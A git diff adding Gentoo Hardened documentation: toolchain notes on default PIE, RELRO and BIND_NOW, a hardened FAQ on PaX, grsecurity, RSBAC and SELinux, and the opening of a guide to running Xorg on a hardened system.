+Ideally, when building a static executable, a shared library, or building without the standard gcc system files, PIE would not be automatically enabled.  Unfortunately, the options -static, -shared, -nostdlib and -nostartfiles are link options, so are usually only supplied to the link command of an executable and not to the compilation commands for individual objects.  In these cases, -fPIE will be added to the compilation commands when in fact it shouldn't be.  This is an unavoidable limitation, since it is impossible to know from a compilation command for an object exactly what the link command is going to be.  Indeed in some cases more than one link command can happen using the same objects.  Such cases have to be handled by the relevant ebuild on a case-by-case basis.  The -nostdlib and -nostartfiles options occur rarely.  The -shared option is usually used when the compilation commands have been performed with -fPIC, so the majority of such cases are not a problem.
+</p>
+<p>
+Where an application builds libraries without -fPIC, it is necessary to modify the build process to avoid -fPIE being added by the compiler.  For packages that build only libraries, it is sufficient to do:
+</p>
+<pre caption="switch off automatic PIE for library ebuilds">
+inherit flag-o-matic
+...
+src_compile() {
+...
+filter-flags -fPIE
+...
+}
+</pre>
+<p>
+However if an ebuild creates both executables and libraries then more detailed modifications need to be made, to add the -fno-PIE to the compilation of objects destined for the libraries.  Where an object is used for both a shared library and an executable, it is necessary to modify the build process significantly in order to obtain two objects, one built -fPIC and one built -fPIE for linking to the library and the executable respectively. Most packages that provide both a shared library and a static archive do so by using libtool which does the right thing automatically.  Both of these approaches can be taken unconditionally; i.e. it is not necessary to make such changes conditional on the presence of the hardened compiler.
+</p>
+<p>
+Occasionally application code will fail to compile with -fPIE.  If this happens it is usually down to non-position-independent assembler code, and is most prevelant on X86 which has a limited general purpose register set.  However this is rare in application code as normally application authors push most of their code into shared libraries, although it does happen.  Most position-independent build problems occur in shared libraries which are not built position-independent - this is a problem regardless of Hardened, and is nothing to do with PIE; it is just that the issue is highlighted by the hardened compiler due to the automatic enabling of -fPIE when -fPIC is not specified as described above.  See the <uri link="/proj/en/hardened/pic-fix-guide.xml">PIC fixing guide</uri> for information on how to fix this sort of problem.
+</p>
+<p>
+Some applications have been reported to segfault when built as PIEs.  Exactly why this occurs is unclear, but it is likely due to a compiler bug so later compiler versions may resolve such problems.
+</p>
+<p>
+Debugging PIEs at the time of writing only works with sys-devel/gdb-6.3-r5, which includes patches by Elena Zannoni at RedHat.  These patches were not included in the main trunk of gdb, so have not been maintained in later versions.
+</p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter id="RELRO">
+<title>Mark Read-Only Appropriate Sections</title>
+
+<section id="RELROrationale">
+<title>Rationale for enabling RELRO globally</title>
+<body>
+
+<p>
+Various sections in an ELF file should be written only by the loader, and not by the application.  However in normal circumstances these sections remain read/write throughout the life of the process, and there are attack methods that exploit this to affect program execution flow.  Enabling RELRO causes the linker to include an extra header informing the loader which sections can be marked read-only after the loader has finished with them.  It also affects the layout of sections slightly, to avoid having RELRO sections and read-write sections on the same memory page.  Combining RELRO with BIND_NOW allows also the PLT to be managed this way on some arches.
+</p>
+
+</body>
+</section>
+
+<section id="RELROauto">
+<title>Toolchain modifications for default RELRO</title>
+<body>
+
+<p>
+RELRO is a link option ("-z relro") provided by the standard GNU toolchain.  To switch it on by default, it is simply a matter of adding a small rule to the specs file for GCC as illustrated below:
+</p>
+<pre caption="standard link_command rule for x86">
+%{!fsyntax-only:%{!c:%{!M:%{!MM:%{!E:%{!S:    %(linker) %l
+%{pie: -pie} %X %{o*} %{A} %{d} %{e*} %{m} %{N} %{n} %{r}
+%{s} %{t} %{u*} %{x} %{z} %{Z} %{!A:%{!nostdlib:%{!nostartfiles:%S}}}
+%{static:} %{L*} %(link_libgcc) %o %{fprofile-arcs|fprofile-generate:-lgcov}
+%{!symbolic:%{!shared:%{fbounds-checking:libboundscheck.a%s}}}
+%{!symbolic:%{!shared:%{fbc-strings-only:libboundscheck.a%s}}}
+%{!nostdlib:%{!nodefaultlibs:%(link_gcc_c_sequence)}}
+%{!A:%{!nostdlib:%{!nostartfiles:%E}}} %{T*} }}}}}}
+</pre>
+<pre caption="additionl segment to follow %{pie: -pie} in link_command rule for x86">
+%{!norelro: -z relro} %{relro: }
+</pre>
+<p>
+So a new option is introduced, "norelro", which can be used to prevent the hardened compiler from automatically switching on RELRO.  However this is likely to be phased out, as newer binutils provide a "-z norelro" option which can be appended to LDFLAGS as "-Wl,z,norelro".
+</p>
+
+</body>
+</section>
+
+<section id="RELROissues">
+<title>Issues arising from default RELRO</title>
+<body>
+
+<p>
+So far, the hardened project has found no issues with switching on RELRO by default. It can make the executable image a little bit bigger (on average by half a page i.e. 2K bytes) which may be of interest for targets with extremely limited memory.
+</p>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter id="NOW">
+<title>Binding policy NOW</title>
+
+<section id="NOWrationale">
+<title>Rationale for enabling NOW binding globally</title>
+<body>
+
+<p>
+As described in the <uri link="#RELRO">RELRO</uri> chapter, setting BIND_NOW increases the effectiveness of setting RELRO, making attacks that involve overwriting data in the Global Offset Table (GOT) fail.
+</p>
+
+</body>
+</section>
+
+<section id="NOWauto">
+<title>Toolchain modifications for default NOW</title>
+<body>
+
+<p>
+NOW binding is a link option ("-z now") provided by the standard GNU toolchain.  To switch it on by default, it is simply a matter of adding a small rule to the specs file for GCC as illustrated below:
+</p>
+<pre caption="standard link_command rule for x86">
+%{!fsyntax-only:%{!c:%{!M:%{!MM:%{!E:%{!S:    %(linker) %l
+%{pie: -pie} %X %{o*} %{A} %{d} %{e*} %{m} %{N} %{n} %{r}
+%{s} %{t} %{u*} %{x} %{z} %{Z} %{!A:%{!nostdlib:%{!nostartfiles:%S}}}
+%{static:} %{L*} %(link_libgcc) %o %{fprofile-arcs|fprofile-generate:-lgcov}
+%{!symbolic:%{!shared:%{fbounds-checking:libboundscheck.a%s}}}
+%{!symbolic:%{!shared:%{fbc-strings-only:libboundscheck.a%s}}}
+%{!nostdlib:%{!nodefaultlibs:%(link_gcc_c_sequence)}}
+%{!A:%{!nostdlib:%{!nostartfiles:%E}}} %{T*} }}}}}}
+</pre>
+<pre caption="additionl segment to follow %{pie: -pie} in link_command rule for x86">
+%{!nonow: -z now} %{now: }
+</pre>
+<p>
+So a new option is introduced, "nonow", which can be used to prevent the hardened compiler from automatically switching on NOW binding.  However this is likely to be phased out, as newer binutils provide a "-z lazy" option which can be appended to LDFLAGS as "-Wl,z,lazy".
+</p>
+
+</body>
+</section>
+
+<section id="NOWissues">
+<title>Issues arising from default NOW</title>
+<body>
+
+<p>
+NOW binding has several noticeable effects.  The first is that initial loading time for applications increases, sometimes very noticeably, as the loader resolves all the references before passing execution to the loaded process.
+</p>
+<p>
+One technology that could reduce this overhead significantly is the introduction of "Direct Binding", something that exists on Unix systems (e.g. Solaris) but does not exist in the GNU toolchain.  Direct binding adds information to libraries when they are built, to tell the linker which library contains the symbol it is looking for.  Normally the linker performs a search across all referenced libraries to find symbols, which adds significantly to the time taken to resolve them.  However the implications of direct-binding are significant, and cannot be taken lightly.  Michael Meeks at Novell is working on this; see our <uri link="http://bugs.gentoo.org/114008">bug #114008</uri> for our status on this.
+</p>
+<p>
+Other technologies which should help are symbol visibility and hash tables in the ELF files.  Both are technologies supported upstream, so when they appear they will be supported directly.  With these two together, it is likely that there will not be much further benefit from direct binding and the complications that arise from direct binding may mean it won't be supported.
+</p>
+<p>
+The second more serious effect is that applications that are not written to refer to shared libraries in the standard way can fail; the most obvious of these is X, which has modules with circular resolution dependencies amongst other unusual behaviour.  Another trick occasionally performed by applications is to decide between a number of shared libraries at run time, and use lazy binding to resolve references to the chosen library.  Normally this would be done with dlopen(3) and friends, including obtaining symbol addresses via dlsym(3), but it is possible to avoid using dlsym(3) and a plethora of pointers in the code by using lazy binding, although it's not pretty.
+</p>
+<p>
+The following packages have issues with BIND_NOW at the time of writing, and it has to be relaxed somewhat for them:
+</p>
+<ul>
+<li>X - some drivers consist of several libraries which are co-dependent, and the modules frequently have references to modules that they load.</li>
+<li>transcode - relies on lazy binding to be able to load its modules; the issues are similar to the X issues.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter id="references">
+<title>References</title>
+
+<section id="gentoorefs">
+<title>Other Gentoo Documentation</title>
+<body>
+
+<ul>
+<li><uri link="/proj/en/hardened/pax-quickstart.xml">PaX QuickStart</uri></li>
+<li><uri link="/proj/en/hardened/pic-guide.xml">Introduction to Position-Independent Code (PIC)</uri></li>
+<li><uri link="/proj/en/hardened/pic-fix-guide.xml">Guide to fixing non-PIC shared libraries</uri></li>
+</ul>
+
+</body>
+</section>
+
+<section id="externalrefs">
+<title>External Documentation</title>
+<body>
+
+<ul>
+<li><uri link="http://people.redhat.com/drepper/dsohowto.pdf">How to Write Shared Libraries</uri> by Ulrich Drepper (PDF)</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/hardenedfaq.xml b/xml/htdocs/proj/en/hardened/hardenedfaq.xml
new file mode 100644
index 00000000..8f8b27b3
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/hardenedfaq.xml
@@ -0,0 +1,643 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/hardenedfaq.xml" lang="en">
+<title>Gentoo Hardened Frequently Asked Questions</title>
+<author title="Author">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Contributor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contributor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Contributor">
+  <mail link="pageexec@freemail.hu">The PaX Team</mail>
+</author>
+
+<abstract>
+Frequently Asked Questions that arise on the #gentoo-hardened IRC channel and
+the gentoo-hardened mailing list.
+</abstract>
+
+<version>1.9</version>
+<date>2006-02-18</date>
+
+<chapter>
+<title>Questions</title>
+<section>
+<title>General</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#toolchain">What exactly is the "toolchain"?</uri>
+  </li>
+  <li>
+    <uri link="#whichisbetter">What should I use: grsecurity, RSBAC or
+    SELinux?</uri>
+  </li>
+  <li>
+    <uri link="#aclall">Is it possible to use grsecurity, RSBAC, SELinux and 
+    PaX all at the same time?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflags">Do I need to pass any flags to LDFLAGS/CFLAGS in
+    order to turn on PIE/SSP building?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflagsoff">How do I turn off PIE/SSP building?</uri>
+  </li>
+  <li>
+    <uri link="#fsexec">My kernel compilation fails with the error "error:
+    structure has no member named `curr_ip'", how do I fix that?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedproject">I just found out about the hardened project; do
+    I have to install everything on the project page in order to install
+    Hardened Gentoo?</uri>
+  </li>
+  <li>
+    <uri link="#Othreessp">Why don't my programs work when I use CFLAGS="-O3"
+    and hardened gcc?</uri>
+  </li>
+  <li>
+    <uri link="#cascadebootstrap">What happened to bootstrap-cascade.sh?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedprofile">How do I switch to the hardened profile?</uri>
+  </li>
+  <li>
+    <uri link="#hardeneddebug">How do I debug with gdb?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>PaX</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#paxinformation">What is the homepage for PaX?</uri>
+  </li>
+  <li>
+    <uri link="#paxgentoodoc">What Gentoo documentation exists about PaX?</uri>
+  </li>
+  <li>
+    <uri link="#paxnoelf">I keep getting the message: "error while loading
+    shared libraries: cannot make segment writable for relocation: Permission
+    denied."  What does this mean?  </uri>
+  </li>
+  <li>
+    <uri link="#paxjava">Ever since I started using PaX I can't get Java
+    working, why?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>grsecurity</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#grsecinformation">What is the homepage for grsecurity?</uri>
+  </li>
+  <li>
+    <uri link="#grsecgentoodoc">What Gentoo documentation exists about
+    grsecurity?</uri>
+  </li>
+  <li>
+    <uri link="#grsec2681">Can I use grsecurity with a 2.6.8, 2.6.8.1, or 2.6.9
+    kernel?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>RSBAC</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#rsbacinformation">What is the homepage for RSBAC?</uri>
+  </li>
+  <li>
+    <uri link="#rsbacgentoodoc">What Gentoo documentation exists about
+    RSBAC?</uri>
+  </li>
+  <li>
+    <uri link="#rsbacinitrd">How do I use an initial ramdisk with a RSBAC
+    enabled kernel?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>SELinux</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#selinuxfaq">Where can I find SELinux related frequently asked
+    questions?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>General Questions</title>
+<section id="toolchain">
+<title>What exactly is the "toolchain"?</title>
+<body>
+
+<p>
+The term "toolchain" refers to the combination of software packages commonly
+used to build and develop for a particular architecture.  The toolchain you may
+hear referred to in the gentoo-hardened IRC channel consists of the GNU Compiler
+Collection (GCC), binutils, and the GNU C library (glibc).
+</p>
+
+</body>
+</section>
+
+<section id="whichisbetter">
+<title>What should I use: grsecurity, RSBAC or SELinux?</title>
+<body>
+
+<p>
+The answer to this question is highly subjective, so the hardened Gentoo project
+simply tries to lay out each technology and leave the choice up to the user.
+This decision requires a lot of research that we have hopefully provided clearly
+in the hardened documentation.  However, if you have any specific questions
+about the security model that each provides, feel free to question the relevant
+developer in our IRC channel or on the mailing list.
+</p>
+
+</body>
+</section>
+
+<section id="aclall">
+<title>Is it possible to use grsecurity, RSBAC, SELinux and PaX all at the same
+time?</title>
+<body>
+
+<p>
+Yes, this combination is quite possible as PaX works with grsecurity, RSBAC
+and SELinux.  The only conflict that arises is you can only use one access
+control system.
+</p>
+
+</body>
+</section>
+
+<section id="hardenedcflags">
+<title>Do I need to pass any flags to LDFLAGS/CFLAGS in order to turn on PIE/SSP
+building?</title>
+<body>
+
+<p>
+No, the current toolchain implements the equivalent of <c>CFLAGS="-fPIE
+-fstack-protector-all" LDFLAGS="-Wl,-z,now -Wl,-z,relro"</c> automatically
+through GCC's specfile which is a more proper solution.  For older hardened-gcc
+users, add <c>USE="hardened pic"</c> to your <path>/etc/make.conf</path> and 
+then upgrade with the following commands:
+</p>
+
+<pre caption="Hardened Toolchain Installation">
+# <i>emerge --oneshot binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+
+<note>
+Gentoo patches its GCCs to allow specfiles to be passed
+through an environment variable.  Currently several sets of specfiles are
+installed on Gentoo systems that allow users on supported architectures
+to easily switch the functionality off and on of the toolchain.
+To access the specs as the end user you can use the gcc-config utility.
+</note>
+
+</body>
+</section>
+
+<section id="hardenedcflagsoff">
+<title>How do I turn off PIE/SSP building?</title>
+<body>
+
+<p>
+You can use <c>gcc-config</c> to accomplish this:
+</p>
+
+<pre caption="Example gcc-config output">
+# gcc-config -l
+ [1] i686-pc-linux-gnu-3.4.4 *
+ [2] i686-pc-linux-gnu-3.4.4-hardenednopie
+ [3] i686-pc-linux-gnu-3.4.4-hardenednopiessp
+ [4] i686-pc-linux-gnu-3.4.4-hardenednossp
+ [5] i686-pc-linux-gnu-3.4.4-vanilla
+ 
+<comment>To turn off SSP building switch to the hardenednossp profile:</comment>
+# gcc-config i686-pc-linux-gnu-3.4.4-hardenednossp
+</pre>
+
+<p>
+Alternatively you can achieve the same by changing your CFLAGS:
+</p>
+
+<p>
+To turn off default SSP building when using the hardened toolchain, append
+<c>-fno-stack-protector-all -fno-stack-protector</c> to your CFLAGS.
+</p>
+
+<p>
+If you want to turn off default PIE building then append <c>-nopie</c> to your
+<c>CFLAGS</c>.
+</p>
+
+<impo>
+The flag <c>-fno-pic</c> should not be used as it will specifically enable
+non-PIC code.  Using <c>-nopie</c> instead will revert back to vanilla GCC
+behavior which should be the intended result.
+</impo>
+
+<note>
+If you are interested in using per-package CFLAGS with Portage currently then
+you may be interested in reading about the script solar has developed to deal
+with this: <uri>http://article.gmane.org/gmane.linux.gentoo.hardened/1204</uri>
+</note>
+
+</body>
+</section>
+
+<section id="fsexec">
+<title>My kernel compilation fails with the error "error: structure has no
+member named `curr_ip'", how do I fix that?</title>
+<body>
+
+<p>
+In order to use PaX on hardened-sources, you must enable grsecurity as well in
+your kernel config.  This should be fixed in a future kernels.
+</p>
+
+</body>
+</section>
+
+<section id="hardenedproject">
+<title>I just found out about the hardened project; do I have to install
+everything on the project page in order to install Hardened Gentoo?</title>
+<body>
+
+<p>
+No, the Hardened Gentoo Project is a collection of subprojects that all have
+common security minded goals.  While many of these projects can be installed
+alongside one another, some conflict as well such as several of the ACL
+implementations that Hardened Gentoo offers.
+</p>
+
+</body>
+</section>
+
+<section id="Othreessp">
+<title>Why don't my programs work when I use CFLAGS="-O3" and hardened
+gcc?</title>
+<body>
+
+<p>
+Using the gcc optimization flag <c>-O3</c> has been known to be problematic with
+stack-smashing protector (SSP) in some situations. This optimization flag is not
+officially supported and therefore discouraged by the hardened team. Compile
+issues where a user uses <c>CFLAGS="-O3"</c> will be closed as INVALID/CANTFIX
+and or ignored.
+</p>
+
+</body>
+</section>
+
+<section id="cascadebootstrap">
+<title>What happened to bootstrap-cascade.sh?</title>
+<body>
+
+<p>
+Recently, the old bootstrap.sh and bootstrap-2.6.sh were deprecated.  In their
+place, bootstrap-cascade.sh has been renamed to bootstrap.sh.
+</p>
+
+</body>
+</section>
+
+<section id="hardenedprofile">
+<title>How do I switch to the hardened profile?</title>
+<body>
+
+<pre caption="Set make.profile">
+# <i>eselect profile list</i>
+[1]   default/linux/amd64/10.0
+[2]   default/linux/amd64/10.0/desktop
+[3]   default/linux/amd64/10.0/desktop/gnome *
+[4]   default/linux/amd64/10.0/desktop/kde
+[5]   default/linux/amd64/10.0/developer
+[6]   default/linux/amd64/10.0/no-multilib
+[7]   default/linux/amd64/10.0/server
+[8]   hardened/linux/amd64/10.0
+[9]   hardened/linux/amd64/10.0/no-multilib
+[10]  selinux/2007.0/amd64
+[11]  selinux/2007.0/amd64/hardened
+[12]  selinux/v2refpolicy/amd64
+[13]  selinux/v2refpolicy/amd64/desktop
+[14]  selinux/v2refpolicy/amd64/developer
+[15]  selinux/v2refpolicy/amd64/hardened
+[16]  selinux/v2refpolicy/amd64/server
+# <i>eselect profile set 8</i> <comment>(replace 8 with the desired hardened profile)</comment>
+</pre>
+
+<p>
+After setting up your profile, you should recompile your system using a
+hardened toolchain so that you have a consistent base:
+</p>
+
+<pre caption="Switch to hardened toolchain">
+# <i>emerge --oneshot binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+
+</body>
+</section>
+
+<section id="hardeneddebug">
+<title>How do I debug with gdb?</title>
+<body>
+<p>
+First gotcha is that GDB can't resolve symbols in PIEs; it doesn't realise that
+the addresses are relative in PIEs not absolute. This shows up when you try to
+get a backtrace for example, and see a stream of lines with '??' where the
+symbol should be.
+</p>
+<p>
+To get around this, do the final link stage with <c>-nopie</c> - all the
+preceding object compilations can still be with <c>-fPIE</c> as normal (i.e. the
+default with the hardened compiler) so that your executable is as close as
+possible to the real thing, but the final link must create a regular executable.
+Try adding <c>-nopie</c> to LDFLAGS if you're building with emerge.
+</p>
+<p>
+Another way of accomplishing this, it to emerge >=sys-devel/gdb-7.1, which contains
+a special patch that makes it able to debug executeables linked with -pie.
+</p>
+<p>
+The second gotcha is that PaX may prevent GDB from setting breakpoints,
+depending on how the kernel is configured. This includes the breakpoint at main
+which you need to get started. To stop PaX doing this, the executable being
+debugged needs the <c>m</c> and <c>x</c> flags. The <c>x</c> flag is set by
+default, so it is enough to do:
+</p>
+<pre caption="Relax PaX for debug">
+# <i>/sbin/paxctl -m foo</i>
+</pre>
+<p>
+At this point, you should be good to go! Fire up gdb in the usual way.  Good
+luck!
+</p>
+</body>
+</section>
+		
+</chapter>
+
+<chapter>
+<title>PaX Questions</title>
+<section id="paxinformation">
+<title>What is the homepage for PaX?</title>
+<body>
+
+<p>
+The homepage for PaX is located at <uri>http://pax.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="paxgentoodoc">
+<title>What Gentoo documentation exists about PaX?</title>
+<body>
+
+<p>
+Currently the only Gentoo documentation that exists about PaX is a PaX
+quickstart guide located at the
+<uri>http://www.gentoo.org/proj/en/hardened/pax-quickstart.xml</uri> website.
+</p>
+
+</body>
+</section>
+
+<section id="paxnoelf">
+<title>I keep getting the message: "error while loading shared libraries: cannot
+make segment writable for relocation: Permission denied."  What does this
+mean?</title>
+<body>
+
+<p>
+This error occurs when you enable CONFIG_PAX_NOELFRELOCS as such:
+</p>
+
+<pre caption="Menuconfig Options">
+Non-executable page ->
+
+ [*]   Disallow ELF text relocations
+</pre>
+
+<p>
+If you are using the gentoo hardened toolchain, typically compiling your
+programs will create PIC ELF libraries that do not contain text relocations.
+However, certain libraries still contain text relocations for various reasons
+(often ones that contain assembly that is handled incorrectly).  This can be a
+security vulnerability as an attacker can use non-PIC libraries to execute his
+shellcode.  Non-PIC libraries are also bad for memory consumption as they defeat
+the code sharing purpose of shared libraries.
+</p>
+
+<p>
+To disable this error and allow your program to run, you must sacrifice security
+and allow runtime code generation for that program.  The PaX feature that allows
+you to do that is called MPROTECT.  You must disable MPROTECT on whatever
+executable is using the non-PIC library.
+</p>
+
+<p>
+To check your system for textrels, you can use the program <c>scanelf</c> from
+<c>app-misc/pax-utils</c>. For information on how to use the <c>pax-utils</c>
+package please consult the <uri link="/proj/en/hardened/pax-utils.xml">Gentoo 
+PaX Utilities Guide</uri>.
+</p>
+
+<note>
+Recent versions of <c>sys-apps/portage</c>(>=2.0.53) scan for text relocations
+and print a warning or even abort the merge process, depending on the
+<c>FEATURES</c> you have set in your <path>/etc/make.conf</path>.
+</note>
+
+</body>
+</section>
+
+<section id="paxjava">
+<title>Ever since I started using PaX I can't get Java working, why?</title>
+<body>
+
+<p>
+As part of its design, the Java virtual machine creates a considerable amount of
+code at runtime which does not make PaX happy.  There are two ways to correct
+this problem:
+</p>
+
+<pre caption="Install Chpax">
+# <i>emerge chpax</i>
+# <i>/etc/init.d/chpax start</i>
+</pre>
+
+<p>
+Or if you already have <c>chpax</c> emerged then you can do:
+</p>
+
+<pre caption="Java Chpax Options">
+# <i>chpax -pemrxs /opt/*-jdk-*/{jre,}/bin/*</i>
+</pre>
+
+<p>
+Both of these options will slightly modify the ELF eheader in order to correctly
+set the PAX flags on the binaries.
+</p>
+
+<note>
+If you are running PaX in conjunction with an additional security implementation
+such as RSBAC, grsecurity, or SELinux you should manage PaX using the kernel
+hooks provided for each implementation.
+</note>
+
+<p>
+On RSBAC, you can label all Java files with the following command.
+</p>
+
+<pre caption="Java PaX options with RSBAC">
+# <i>for i in $(ls /opt/*(jdk|sdk)*/{jre,}/bin/*);do attr_set_file_dir FILE $i pax_flags pmerxs;done</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>grsecurity Questions</title>
+<section id="grsecinformation">
+<title>What is the homepage for grsecurity?</title>
+<body>
+
+<p>
+The homepage for grsecurity is located at <uri>http://www.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="grsecgentoodoc">
+<title>What Gentoo documentation exists about grsecurity?</title>
+<body>
+
+<p>
+The most current documentation for grsecurity is a Grsecurity2 quickstart guide
+located at <uri>http://www.gentoo.org/proj/en/hardened/grsecurity.xml</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="grsec2681">
+<title>Can I use grsecurity with a 2.6.8, 2.6.8.1, or 2.6.9 kernel?</title>
+<body>
+
+<p>
+Due to significant changes in the 2.6.8 kernel that broke PaX, neither a PaX nor
+a grsecurity patch are available for kernels 2.6.8, 2.6.8.1, or 2.6.9.  Although
+an experimental patch is available for 2.6.10, the official stance of the PaX
+Team regarding 2.6 kernels should be noted and taken into consideration before
+use: <uri> http://forums.grsecurity.net./viewtopic.php?t=968</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RSBAC Questions</title>
+<section id="rsbacinformation">
+<title>What is the homepage for RSBAC?</title>
+<body>
+
+<p>
+The homepage for RSBAC is located at <uri>http://www.rsbac.org</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="rsbacgentoodoc">
+<title>What Gentoo documentation exists about RSBAC?</title>
+<body>
+
+<p>
+All Gentoo RSBAC documentation is located at the RSBAC subproject page found at:
+<uri>http://www.gentoo.org/proj/en/hardened/rsbac/index.xml</uri>
+</p>
+
+<p>
+Moreover, non-Gentoo RSBAC documentation can be found in the RSBAC handbook,
+found at: <uri>http://www.rsbac.org/documentation/rsbac_handbook</uri>
+</p>
+
+</body>
+</section>
+
+<section id="rsbacinitrd">
+<title>How do I use an initial ramdisk with a RSBAC enabled kernel?</title>
+<body>
+
+<p>
+To use an initial ramdisk with a RSBAC enabled kernel, a special kernel option
+must be enabled or else RSBAC will treat the initrd as the root device:
+</p>
+
+<pre caption="Menuconfig Options">
+General RSBAC options  --->
+    [*] Delayed init for initial ramdisk
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>SELinux Questions</title>
+<section id="selinuxfaq">
+<title>Where can I find SELinux related frequently asked questions?</title>
+<body>
+
+<p>
+A SELinux specific FAQ can be found at <uri>
+http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3&amp;chap=3</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/hardenedxorg.xml b/xml/htdocs/proj/en/hardened/hardenedxorg.xml
new file mode 100644
index 00000000..74852cc2
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/hardenedxorg.xml
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/hardenedxorg.xml,v 1.11 2006/12/23 13:03:11 phreak Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="hardenedxorg.xml">
+<title>Using Xorg on Hardened Gentoo</title>
+<author title="Author">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Contributor">
+  <mail link="kevquinn@gentoo.org">Kevin Quinn</mail>
+</author>
+<author title="Contributor">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Contributor">
+  <mail link="phreak@gentoo.org">Christian Heim</mail>
+</author>
+<author title="Contributor">
+  <mail link="zaid_a@users.sourceforge.net">Zaid A.</mail>
+</author>
+
+<abstract>
+How to install and use Xorg on Hardened Gentoo
+</abstract>
+
+<version>1.6</version>
+<date>2006-12-23</date>
+
+<chapter>
+<title>Background</title>
+<section>
+<title>What is different about running Xorg with Hardened Gentoo?</title>
+<body>
+
+<p>
+PaX, a patch for the Linux kernel, is a central part of the Hardened Gentoo
+project.  PaX provides various functionality such as ASLR and NX memory.  More
+information is available at <uri>http://www.gentoo.org/proj/en/hardened/docs/pax-howto.xml</uri>
+For the purposes of this document, it will be assumed that the reader has a general
+understanding of how PaX works as well as the concept of Position Independent Executables (PIE).
+</p>
+
+<p>
+The specific feature of PaX of interest in this article is MPROTECT, which 
+guards against executable code in a program's address space.  One of the main features
+of Hardened Gentoo is the ability to run PaX effectively because of the ET_DYN/PIE base.
+The eventual goal for Xorg is to have the binary itself built as ET_DYN/PIE to remove text
+relocations from it and randomize the base address without the EX_EXEC performance hit.
+</p>
+
+<p>
+At this point, compiling Xorg with PIC code sounds like an obvious, logical choice.  Hardened
+Gentoo offers hardened gcc for this purpose, which provides transparent PIE/SSP compiling.  This
+is where you begin to run into problems with Xorg.  Xorg currently uses elfloader to handle loading
+the modules it needs, however elfloader is unable to resolve various types of relocatable symbols that are
+always generated by PIC code.  Most importantly, the elfloader has no support for Global Offset
+Table (GOT) or Procedure Linkage Table (PLT) type symbols which are both essential for shared libraries.
+</p>
+
+<p>
+So if elfloader won't work then what will?  Luckily there is already a fully operational, well tested,
+mature dynamic loader installed on your system.  It is ld-linux.so which is provided by glibc.  The obvious idea
+that occurs at this point, is that ideally there would be a programmatic interface to the glibc loader, and the
+X loader could be modified to use that instead of home-brewing its own loader.  Turns out that such an interface
+exists - dlopen(3) et. al. - and this is exactly what the dlloader uses.
+</p>
+
+<note>Starting with Xorg 7.0, dlloader is the default module loader for X.</note>
+	
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Kernel Configuration options</title>
+<section>
+<title>CONFIG_PAX_KERNEXEC</title>
+<body>
+
+<p>
+The option 'CONFIG_PAX_KERNEXEC' is the kernel land equivalent of PAGEEXEC and MPROTECT. By enabling this option, it will get
+harder to inject and execute 'foreign' code in kernel memory itself. This option may also give you some strange experiences on
+a hardened Xorg setup (being the Mouse pointer being stuck on the left side of the screen). 
+Suggestion therefore is, to turn this option off by deselecting it in your config.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>CONFIG_GRKERNSEC_IO</title>
+<body>
+
+<p>
+Enabling this option will result in all ioperm(2) and iopl(2) calls returning an error messge. ioperm(2) and iopl(2) might be
+used to modify the running kernel. As you wish to run a Xorg server on top of your hardened kernel (mostly GRsecurity), you'll
+have to disable this config option, in order to get the XServer up and running.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Installation</title>
+<section>
+<title>Current Install Options</title>
+<body>
+
+<p>
+Since Xorg 7.0 and up uses the dlloader instead of the elfloader by default, there is no need to do anything special to get Xorg
+compiling and working on a hardened profile.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Configuration</title>
+<section>
+<title>/etc/X11/xorg.conf</title>
+<body>
+
+<p>
+You can setup your Xorg configuration file using The X Server
+Configuration HOWTO found at:
